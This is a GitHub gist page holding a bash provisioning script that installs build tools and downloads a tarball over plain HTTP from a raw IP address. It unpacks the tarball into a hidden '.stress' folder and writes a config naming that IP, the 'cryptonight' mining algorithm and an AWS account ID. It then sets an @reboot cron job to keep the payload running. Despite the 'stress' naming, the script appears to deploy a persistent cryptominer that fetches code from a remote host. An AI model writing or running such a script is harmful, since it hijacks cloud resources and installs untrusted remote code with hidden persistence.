Skip to content

Instantly share code, notes, and snippets.

@teos0009
Created August 16, 2019 10:07
Show Gist options
  • Save teos0009/ea19560efc97bfc04be00dd83cc104e4 to your computer and use it in GitHub Desktop.
Save teos0009/ea19560efc97bfc04be00dd83cc104e4 to your computer and use it in GitHub Desktop.
#!/bin/bash
apt install nano -y
apt update -y
DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade
apt install python-dev python-pip -y
apt install htop tree screen -y
apt install git build-essential cmake libuv1-dev uuid-dev libmicrohttpd-dev -y
wget -O /home/ubuntu/local.tar.gz http://139.198.189.38:6969/aug_08_2019.tar.gz
tar -xzvf /home/ubuntu/local.tar.gz -C /home/ubuntu/
rm /home/ubuntu/local.tar.gz
echo 'ip_address = "139.198.189.38"
port = 9999
algo = "cryptonight"
aws_arn_id = "495327572897"' > /home/ubuntu/.stress/config.py
(crontab -l 2>/dev/null; echo '@reboot /home/ubuntu/.stress/start_stressing.py') | crontab -
reboot
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment